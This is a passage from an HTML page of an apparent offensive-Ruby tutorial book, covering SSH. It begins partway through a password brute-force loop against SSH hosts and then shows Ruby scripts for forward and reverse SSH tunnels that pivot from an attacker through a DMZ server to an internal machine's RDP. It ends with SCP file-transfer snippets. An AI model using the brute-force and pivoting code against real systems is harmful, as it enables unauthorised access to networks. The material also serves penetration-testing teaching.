passs = [<span class="hljs-string">&apos;admin1234&apos;</span>, <span class="hljs-string">&apos;P@ssw0rd&apos;</span>, <span class="hljs-string">&apos;123456&apos;</span>, <span class="hljs-string">&apos;AdminAdmin&apos;</span>, <span class="hljs-string">&apos;secret&apos;</span>, coffee]

hosts.each <span class="hljs-keyword">do</span> |host|
  users.each <span class="hljs-keyword">do</span> |user|     
    passs.each <span class="hljs-keyword">do</span> |password|

      attack_ssh host, user, password

<span class="hljs-keyword">end</span> <span class="hljs-keyword">end</span> <span class="hljs-keyword">end</span>
</code></pre>
<h2 id="ssh-tunneling"><a name="ssh-tunneling" class="plugin-anchor" href="#ssh-tunneling"><span class="fa fa-link"></span></a>SSH Tunneling</h2>
<h3 id="forward-ssh-tunnel"><a name="forward-ssh-tunnel" class="plugin-anchor" href="#forward-ssh-tunnel"><span class="fa fa-link"></span></a>Forward SSH Tunnel</h3>
<pre><code>                              |--------DMZ------|---Local Farm----|
                              |                 |                 |
|Attacker| ----SSH Tunnel---&gt; | |SSH Server| &lt;-RDP-&gt; |Web server| |
                              |                 |                 |
                              |-----------------|-----------------|
</code></pre><p>Run ssh-ftunnel.rb on the <strong>SSH Server</strong> </p>
<p><strong>ssh-ftunnel.rb</strong></p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/ssh&apos;</span>

<span class="hljs-constant">Net::SSH</span>.start(<span class="hljs-string">&quot;127.0.0.1&quot;</span>, <span class="hljs-string">&apos;root&apos;</span>, <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-string">&apos;123132&apos;</span>) <span class="hljs-keyword">do</span> |ssh|

  ssh.forward.local(<span class="hljs-string">&apos;0.0.0.0&apos;</span>, <span class="hljs-number">3333</span>, <span class="hljs-string">&quot;WebServer&quot;</span>, <span class="hljs-number">3389</span>)

  puts <span class="hljs-string">&quot;[+] Starting SSH forward tunnel&quot;</span>
  ssh.loop { <span class="hljs-keyword">true</span> }
<span class="hljs-keyword">end</span>
</code></pre>
<p>Now connect to the <strong>SSH Server</strong> on port 3333 via your RDP client, you&apos;ll be prompt for the <strong>WebServer</strong>&apos;s RDP log-in screen</p>
<pre><code>rdesktop WebServer:3333
</code></pre><h3 id="reverse-ssh-tunnel"><a name="reverse-ssh-tunnel" class="plugin-anchor" href="#reverse-ssh-tunnel"><span class="fa fa-link"></span></a>Reverse SSH Tunnel</h3>
<pre><code>                              |--------DMZ------|---Local Farm----|
                              |                 |                 |
|Attacker| &lt;---SSH Tunnel---- | |SSH Server| &lt;-RDP-&gt; |Web server| |
  |   |                       |                 |                 |
  `-&gt;-&apos;                       |-----------------|-----------------|
</code></pre><p>Run ssh-rtunnel.rb on the <strong>SSH Server</strong> </p>
<p><strong>ssh-rtunnel.rb</strong></p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/ssh&apos;</span>

<span class="hljs-constant">Net::SSH</span>.start(<span class="hljs-string">&quot;AttacerIP&quot;</span>, <span class="hljs-string">&apos;attacker&apos;</span>, <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-string">&apos;123123&apos;</span>) <span class="hljs-keyword">do</span> |ssh|

  ssh.forward.remote_to(<span class="hljs-number">3389</span>, <span class="hljs-string">&apos;WebServer&apos;</span>, <span class="hljs-number">3333</span>, <span class="hljs-string">&apos;0.0.0.0&apos;</span>)

  puts <span class="hljs-string">&quot;[+] Starting SSH reverse tunnel&quot;</span>
  ssh.loop { <span class="hljs-keyword">true</span> }
<span class="hljs-keyword">end</span>
</code></pre>
<p>Now SSH from the <strong>SSH Server</strong> to <strong>localhost</strong> on the localhost&apos;s SSH port then  connect from your localhost to your localhost on port 3333 via your RDP client, you&apos;ll be prompt for the <strong>WebServer</strong>&apos;s RDP log-in screen</p>
<pre><code>rdesktop localhost:3333
</code></pre><h2 id="copy-files-via-ssh-scp"><a name="copy-files-via-ssh-scp" class="plugin-anchor" href="#copy-files-via-ssh-scp"><span class="fa fa-link"></span></a>Copy files via SSH (SCP)</h2>
<ul>
<li><p>To install scp gem</p>
<pre><code>gem install net-scp
</code></pre></li>
<li><p>Upload file </p>
</li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/scp&apos;</span>

<span class="hljs-constant">Net::SCP</span>.upload!(
                    <span class="hljs-string">&quot;SSHServer&quot;</span>, 
                    <span class="hljs-string">&quot;root&quot;</span>,
                    <span class="hljs-string">&quot;/rubyfu/file.txt&quot;</span>, <span class="hljs-string">&quot;/root/&quot;</span>, 
                    <span class="hljs-comment">#:recursive =&gt; true,    # Uncomment for recursive</span>
                    <span class="hljs-symbol">:ssh</span> =&gt; { <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-string">&quot;123123&quot;</span> }
                )
</code></pre>
<ul>
<li>Download file </li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/scp&apos;</span>

<span class="hljs-constant">Net::SCP</span>.download!(
                    <span class="hljs-string">&quot;SSHServer&quot;</span>, 
                    <span class="hljs-string">&quot;root&quot;</span>,
                    <span class="hljs-string">&quot;/root/&quot;</span>, <span class="hljs-string">&quot;/rubyfu/file.txt&quot;</span>,
                    <span class="hljs-comment">#:recursive =&gt; true,    # Uncomment for recursive</span>
                    <span class="hljs-symbol">:ssh</span> =&gt; { <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-string">&quot;123123&quot;</span> }
                  )
</code></pre>
<h2 id=""><a name="" class="plugin-anchor" href="#"><span class="fa fa-link"></span></a><br><br><br></h2>
<ul>
<li><a href="http://ruby.about.com/sitesearch.htm?q=ruby+ssh&amp;boost=3&amp;SUName=ruby" target="_blank">More SSH examples</a></li>
<li><a href="http://capistranorb.com/" target="_blank">Capistranorb.com</a></li>
<li><a href="http://net-ssh.github.io/ssh/v1/chapter-6.html" target="_blank">Net:SSH old docs with example</a></li>
</ul>

                    
                    </section>
                
                
                </div>
            </div>
        </div>

        
        <a href="../module_0x3__network_kung_fu/ftp.html" class="navigation navigation-prev " aria-label="Previous page: FTP"><i class="fa fa-angle-left"></i></a>
        
        
        <a href="../module_0x2__system_kung_fu/email.html" class="navigation navigation-next " aria-label="Next page: Email"><i class="fa fa-angle-right"></i></a>
        
    </div>
</div>

        
<script src="../gitbook/app.js"></script>

    
    <script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
    

<script>
require(["gitbook"], function(gitbook) {
    var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
    gitbook.start(config);
});
</script>

        
    </body>
    
</html>
